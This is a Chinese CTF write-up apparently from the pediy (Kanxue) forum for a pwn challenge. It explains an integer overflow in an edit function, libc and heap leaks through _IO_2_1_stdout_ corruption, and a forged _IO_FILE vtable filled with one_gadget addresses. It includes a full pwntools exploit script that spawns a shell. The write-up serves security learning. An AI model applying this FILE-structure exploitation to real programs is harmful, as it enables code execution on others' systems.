第四题:卧薪尝胆
2019-09-25 11:41:13 Author: bbs.pediy.com(查看原文) 阅读量:174 收藏

[原创]第四题:卧薪尝胆

23小时前 33

1.开头

     名字叫堆感觉做题和堆没有半毛钱关系啊0.0(。。。开玩笑的)。难道又是一道非预期解。不过这题按道理也存在非预期的现象。


可以省略不给出堆的地址。

按道理可以直接用IO FILE 泄露的

后文解释怎么搞的吧。

2.正文

    

在edite 功能发现一个整型溢出


利用这个漏洞可以改上面任意一个不为零的地方指针指向的位置

刚开始并不知道怎么做。就瞎几把百度了几下,果然发现了。

比如在百度的框框中输入(CTF_IO_2_1_stdout_ 泄露基址)之类等等就可以找到。

看了几篇文章

个人感觉这个小兄弟写的最好

https://www.secpulse.com/archives/111304.html

其次是这个小兄弟

https://xz.aliyun.com/t/5057#toc-0

文章说了一大堆东西。。。。。。

然后我总结一点


修改图中的这个位置就可以泄露libc地址

非预期的情况


看到主分配器离IO FILE 还是挺近的,就在它的脑壳上面。


将IO FILE 的 _IO_write_base修改0x7ffff7dd3760 就可泄露堆地址了

怎么改

payload=p64(0xfbad1800) + p64(0)*3 + "\x60\x37"#"\x20"

类似上面的payload就行了。


丢一张泄露程序堆地址的图

下面给各位师傅讲一下菜鸡的做法吧。

感觉和其他的可能不一样。。。。。。。。。。。。。。。。。。。。


转成结构的时候发现这么个东西。

虚表可是好东西。存在函数指针这么些的鬼玩意。


进去看了下果然是一大堆的函数

3.做法

     既然可以编辑和泄露_IO_FILE,那么何不伪造一个呢?然后改下它的虚表干点坏事岂不乐哉?

总结下就是伪造  _IO_FILE 让它的虚表指向堆伪造的地方。至于堆中填什么呢?

这里比较暴力,没有去详细的跟虚表的调用顺序了。把它全部塞满了one_gadget ..................................................................0.0



如图,one_gadget 全家桶

from pwn import *
import sys
import time
context.arch = 'amd64'
remote_=0
if len(sys.argv) < 2:
	e = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	_IO_2_1_stdin_off= e.symbols['_IO_2_1_stdin_'] 
	one_gadget_off=0xEA36D
	_IO_wide_data_off=0x3C34E0
	_IO_stdfile_1_lock_off=0x3C49E0
	p = process('./pwn')   
	context.log_level = 'debug'
	gdb.attach(p,'b *0x555555554F43\nb *0x555555555120\nb *0x555555554DFB')#add edit puts_menu
else:
	remote_=1   
	#context.log_level = 'debug'
	e = ELF("./server_libc-2.23.so")
	_IO_2_1_stdin_off= e.symbols['_IO_2_1_stdin_'] 
	one_gadget_off=0xF02A4
	_IO_wide_data_off=0x3C49C0
	_IO_stdfile_1_lock_off=0x3C6780
	p = remote(sys.argv[1], int(sys.argv[2]))#
def add(size):
	p.recvuntil('>>')
	p.sendline('1')
	p.recvuntil('Input size : ')
	p.sendline(str(size))
def edit(idx,text):
	p.recvuntil('>>')
	p.sendline('3')
	p.recvuntil('Input idx : ')
	p.sendline(str(idx))
	p.recvuntil('Input text : ')
	p.sendline(text)
def delete(idx):
	p.recvuntil('>>')
	p.sendline('2')
	p.recvuntil('Input idx : ')
	p.sendline(str(idx))
def exp():  
   
	add(0x300)
	
	p.recvuntil('heap 0 : 0x')
	Heap=int(p.recv(12),16)
	print "[+] Heap addr="+hex(Heap)
	if remote_:
		payload=p64(0xfbad1800) + p64(0)*3 + "\x20"#"\x20"
	else:
		payload=p64(0xfbad1800) + p64(0)*3 + "\x00"#"\x20"
	edit(-6,payload)
	
	junk1=p.recv(0x10*6)+p.recv(0x8)
	stdin=p.recv(0x8)
	junk2=p.recv(0x10)
	data=junk1+stdin+junk2
	#print data.encode('hex')
	libc_base=u64(stdin)-_IO_2_1_stdin_off
	print "[+] libc base="+hex(libc_base)
	
	one_gadget=libc_base+one_gadget_off
	payload=p64(0x0)*2+p64(one_gadget)*18+p64(0x0000000000000000)
	edit(0,payload)
	
	_IO_wide_data=libc_base+_IO_wide_data_off
	_IO_stdfile_1_lock=libc_base+_IO_stdfile_1_lock_off
	#Heap=0x0000555555757010
	payload=data+p64(0x49000000)+p64(_IO_stdfile_1_lock)+p64(0xffffffffffffffff)+p64(0x0)+p64(_IO_wide_data)+p64(0x0)*3+p64(0xffffffff)+p64(0x0)*2+p64(Heap)#fake _IO_2_1_stdout_
	edit(-6,payload)
	
	
	log.info('get shell!!')  
	p.interactive()
if __name__ == '__main__':
	exp()

[培训]《安卓高级研修班》彻底搞定函数抽取型壳!现在报名得源码和安卓8.1脱壳机!10月20日深圳专场不见不散!

最后于 19小时前 被大帅锅编辑 ,原因:

上传的附件:
  • fk.py (1.98kb,0次下载)
  • server_libc-2.23.so (1.78MB,0次下载)
  • pwn (9.99kb,0次下载)

文章来源: https://bbs.pediy.com/thread-254651.htm
如有侵权请联系:admin#unsafe.sh